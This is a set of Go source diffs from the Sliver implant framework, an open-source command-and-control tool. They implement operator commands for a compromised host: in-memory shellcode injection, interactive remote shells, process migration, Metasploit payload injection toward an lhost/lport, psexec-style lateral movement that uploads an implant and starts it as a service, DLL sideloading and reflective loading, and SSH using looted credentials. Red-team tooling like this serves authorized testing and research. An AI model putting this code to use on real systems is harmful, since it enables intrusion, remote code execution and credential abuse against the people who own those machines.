"io"
"io/ioutil"
"log"
"os"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
interactive := ctx.Flags.Bool("interactive")
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
}
if pid != 0 && interactive {
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
task, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if task.Response.GetErr() != "" {
con.PrintErrorf("%s\n", task.Response.GetErr())
return
}
con.PrintInfof("Executed shellcode on target\n")
}
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
// Start remote process and tunnel
noPty := false
if session.GetOS() == "windows" {
noPty = true // Windows of course doesn't have PTYs
}
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveSession.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
// Retrieve PID and start remote task
pid := shell.GetPid()
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveSession.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
return
}
}
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
log.Printf("Wrote %d bytes to stdout", n)
if err != nil {
con.PrintErrorf("Error writing to stdout: %v", err)
return
}
}()
for {
log.Printf("Reading from stdin ...")
n, err := io.Copy(tunnel, os.Stdin)
log.Printf("Read %d bytes from stdin", n)
if err == io.EOF {
break
}
if err != nil {
con.PrintErrorf("Error reading from stdin: %v", err)
break
}
}
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
}
log.Printf("Exit interactive")
bufio.NewWriter(os.Stdout).Flush()
}
@@ -1,4 +1,4 @@
package command
package exec
/*
Sliver Implant Framework
@@ -18,42 +18,37 @@ package command
import (
"context"
"fmt"
"strings"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if len(ctx.Args) < 1 {
fmt.Printf(Warn + "Please provide a path. See `help execute` for more info.\n")
return
}
cmdPath := ctx.Args[0]
var args []string
if len(ctx.Args) > 1 {
args = ctx.Args[1:]
}
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
output := ctx.Flags.Bool("silent")
token := ctx.Flags.Bool("token")
var exec *sliverpb.Execute
var err error
if token {
exec, err = rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: ActiveSession.Request(ctx),
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveSession.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
})
} else {
exec, err = rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: ActiveSession.Request(ctx),
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveSession.Request(ctx),
Path: cmdPath,
Args: args,
Output: !output,
@@ -61,15 +56,24 @@ func execute(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
}
if err != nil {
fmt.Printf(Warn+"%s", err)
con.PrintErrorf("%s", err)
} else if !output {
if exec.Status != 0 {
fmt.Printf(Warn+"Exited with status %d!\n", exec.Status)
con.PrintErrorf("Exited with status %d!\n", exec.Status)
if exec.Result != "" {
fmt.Printf(Info+"Output:\n%s\n", exec.Result)
con.PrintInfof("Output:\n%s\n", exec.Result)
}
} else {
fmt.Printf(Info+"Output:\n%s\n", exec.Result)
con.PrintInfof("Output:\n%s\n", exec.Result)
if ctx.Flags.Bool("loot") && 0 < len(exec.Result) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err = loot.AddLootFile(con.Rpc, name, "console.txt", []byte(exec.Result), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
}
}
+54
View File
@@ -0,0 +1,54 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// MigrateCmd - Windows only, inject an implant into another process
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
return
}
pid := ctx.Args.Uint("pid")
config := con.GetActiveSessionConfig()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if !migrate.Success {
con.PrintErrorf("%s\n", migrate.GetResponse().GetErr())
return
}
con.PrintInfof("Successfully migrated to %d\n", pid)
}
@@ -1,4 +1,4 @@
package command
package exec
/*
Sliver Implant Framework
@@ -22,57 +22,16 @@ import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/client/spin"
"github.com/desertbit/grumble"
)
func msf(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
if session == nil {
return
}
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
if lhost == "" {
fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
go spin.Until(msg, ctrl)
_, err := rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: ActiveSession.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
Encoder: encoder,
Iterations: int32(iterations),
})
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"%s\n", err)
} else {
fmt.Printf(Info + "Executed payload on target\n")
}
}
func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
session := ActiveSession.GetInteractive()
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
@@ -85,21 +44,21 @@ func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
pid := ctx.Flags.Int("pid")
if lhost == "" {
fmt.Printf(Warn+"Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
fmt.Printf(Warn+"Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
go spin.Until(msg, ctrl)
_, err := rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: ActiveSession.Request(ctx),
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveSession.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
@@ -110,8 +69,8 @@ func msfInject(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
ctrl <- true
<-ctrl
if err != nil {
fmt.Printf(Warn+"%s\n", err)
con.PrintErrorf("%s\n", err)
} else {
fmt.Printf(Info + "Executed payload on target\n")
con.PrintInfof("Executed payload on target\n")
}
}
+69
View File
@@ -0,0 +1,69 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
payloadName := ctx.Flags.String("payload")
lhost := ctx.Flags.String("lhost")
lport := ctx.Flags.Int("lport")
encoder := ctx.Flags.String("encoder")
iterations := ctx.Flags.Int("iterations")
if lhost == "" {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveSession.Request(ctx),
Payload: payloadName,
LHost: lhost,
LPort: uint32(lport),
Encoder: encoder,
Iterations: int32(iterations),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
} else {
con.PrintInfof("Executed payload on target\n")
}
}
+168
View File
@@ -0,0 +1,168 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"math/rand"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
// PsExecCmd - psexec command implementation.
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
hostname := ctx.Args.String("hostname")
if hostname == "" {
con.PrintWarnf("you need to provide a target host, see `help psexec` for examples")
return
}
profile := ctx.Flags.String("profile")
serviceName := ctx.Flags.String("service-name")
serviceDesc := ctx.Flags.String("service-description")
binPath := ctx.Flags.String("binpath")
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
con.PrintWarnf("Warning: You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
con.PrintWarnf("You might want to change that before going further...\n")
if !con.IsUserAnAdult() {
return
}
}
if profile == "" {
con.PrintErrorf("You need to pass a profile name, see `help psexec` for more info\n")
return
}
// generate sliver
generateCtrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Generating sliver binary for %s\n", profile), generateCtrl)
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
generateCtrl <- true
<-generateCtrl
var implantProfile *clientpb.ImplantProfile
for _, prof := range profiles.Profiles {
if prof.Name == profile {
implantProfile = prof
}
}
if implantProfile.GetName() == "" {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
// upload to remote target
uploadCtrl := make(chan bool)
con.SpinUntil("Uploading service binary ...", uploadCtrl)
upload, err := con.Rpc.Upload(context.Background(), &sliverpb.UploadReq{
Encoder: "gzip",
Data: uploadGzip,
Path: filePath,
Request: con.ActiveSession.Request(ctx),
})
uploadCtrl <- true
<-uploadCtrl
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("Uploaded service binary to %s\n", upload.GetPath())
con.PrintInfof("Waiting a bit for the file to be analyzed ...\n")
// Looks like starting the service right away often fails
// because a process is already using the binary.
// I suspect that Defender on my lab is holding access
// while scanning, which often resulted in an error.
// Waiting 5 seconds seem to do the trick here.
time.Sleep(5 * time.Second)
// start service
binaryPath := fmt.Sprintf(`%s\%s.exe`, binPath, filename)
serviceCtrl := make(chan bool)
con.SpinUntil("Starting service ...", serviceCtrl)
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
BinPath: binaryPath,
Hostname: hostname,
Request: con.ActiveSession.Request(ctx),
ServiceDescription: serviceDesc,
ServiceName: serviceName,
Arguments: "",
})
serviceCtrl <- true
<-serviceCtrl
if err != nil {
con.PrintErrorf("Error: %v\n", err)
return
}
if start.Response != nil && start.Response.Err != "" {
con.PrintErrorf("Error: %s", start.Response.Err)
return
}
con.PrintInfof("Successfully started service on %s (%s)\n", hostname, binaryPath)
removeChan := make(chan bool)
con.SpinUntil("Removing service ...", removeChan)
removed, err := con.Rpc.RemoveService(context.Background(), &sliverpb.RemoveServiceReq{
ServiceInfo: &sliverpb.ServiceInfoReq{
Hostname: hostname,
ServiceName: serviceName,
},
Request: con.ActiveSession.Request(ctx),
})
removeChan <- true
<-removeChan
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
if removed.Response != nil && removed.Response.Err != "" {
con.PrintErrorf("Error: %s\n", removed.Response.Err)
return
}
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
b := make([]byte, length)
for i := range b {
b[i] = charset[seededRand.Intn(len(charset))]
}
return string(b)
}
+83
View File
@@ -0,0 +1,83 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// SideloadCmd - Sideload a shared library on the remote system
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
return
}
binPath := ctx.Args.String("filepath")
entryPoint := ctx.Flags.String("entry-point")
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
isDLL := (filepath.Ext(binPath) == ".dll")
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: args,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: !ctx.Flags.Bool("keep-alive"),
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %v", err)
return
}
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+63
View File
@@ -0,0 +1,63 @@
package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// SpawnDllCmd - Spawn execution of a DLL on the remote system
func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.Get()
if session == nil {
return
}
dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
binPath := ctx.Args.String("filepath")
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
spawndll, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Data: binData,
ProcessName: processName,
Args: dllArgs,
EntryPoint: exportName,
Request: con.ActiveSession.Request(ctx),
Kill: !ctx.Flags.Bool("keep-alive"),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
}
ctrl <- true
<-ctrl
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+109
View File
@@ -0,0 +1,109 @@
package exec
import (
"context"
"io/ioutil"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// SSHCmd - A built-in SSH client command for the remote system (doesn't shell out)
func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
privKey []byte
err error
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
username := ctx.Flags.String("login")
if username == "" {
username = session.GetUsername()
}
port := ctx.Flags.Uint("port")
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
password := ctx.Flags.String("password")
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
username, password, privKey = tryCredsFromLoot(con)
if username == "" {
username = oldUsername
}
}
commandResp, err := con.Rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
Username: username,
Hostname: hostname,
Port: uint32(port),
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if commandResp.Response != nil && commandResp.Response.Err != "" {
con.PrintErrorf("Error: %s\n", commandResp.Response.Err)
if commandResp.StdErr != "" {
con.PrintErrorf("StdErr: %s\n", commandResp.StdErr)
}
return
}
if commandResp.StdOut != "" {
con.PrintInfof("Output:")
con.Println(commandResp.StdOut)
if commandResp.StdErr != "" {
con.PrintInfof("StdErr")
con.Println(commandResp.StdErr)
}
}
}
func tryCredsFromLoot(con *console.SliverConsoleClient) (string, string, []byte) {
var (
username string
password string
privKey []byte
)
confirm := false
prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
survey.AskOne(prompt, &confirm, nil)
if confirm {
cred, err := loot.SelectCredentials(con)
if err != nil {
con.PrintErrorf("Invalid loot data, will try to use the SSH agent")
} else {
switch cred.CredentialType {
case clientpb.CredentialType_API_KEY:
privKey = []byte(cred.Credential.APIKey)
case clientpb.CredentialType_USER_PASSWORD:
username = cred.Credential.User
password = cred.Credential.Password
}
}
}
return username, password, privKey
}
+62
View File
@@ -0,0 +1,62 @@
Extensions
====
Allows to load and execute 3rd party extensions.
Extensions must be loaded from a directory with the following architecture:
```shell
/path/to/extension/folder/
├── manifest.json
└── windows
├── 386
│   └── extension.x86.dll
└── amd64
└── extension.x64.dll
```
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
Here's an example manifest:
```json
[
{
"name": "foo",
"help": "Help for foo command",
"entrypoint": "RunFoo",
"init" :"NimMain",
"dependsOn": "bar",
"files": [
{
"os": "windows",
"files":{
"x86": "extension.x86.o",
"x64": "extension.x64.o",
}
}
],
"arguments": [
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
]
}
]
```
The structure is the following one:
- `name`: name of the extension, which will also be the name of the command in the sliver client
- `help`: the documentation for the new command
- `entrypoint`: the name of the exported function to call
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
- `string`: regular ASCII string
- `wstring`: string that will be UTF16 encoded
- `int`: will be parsed as a 32 bit unsigned integer
- `short`: will be parsed as a 16 bit unsigned integer
- `file`: a string to a file path on the client side which content will be passed to the BOF
+525
View File
@@ -0,0 +1,525 @@
package extensions
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"golang.org/x/text/encoding/unicode"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
)
var commandMap map[string]extensionCommand
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type extensionFiles struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type extensionArgument struct {
Name string `json:"name"`
Type string `json:"type"`
Desc string `json:"desc"`
Optional bool `json:"optional"`
}
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
}
}
}
if filePath == "" {
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
}
return
}
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmds, err := ParseExtensions(dirPath)
if err != nil {
return
}
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
}
}
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
if err != nil {
return nil, err
}
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
return extensionsCmds, nil
}
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
argFunc func(string, string, ...grumble.ArgOption)
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
}
} else {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
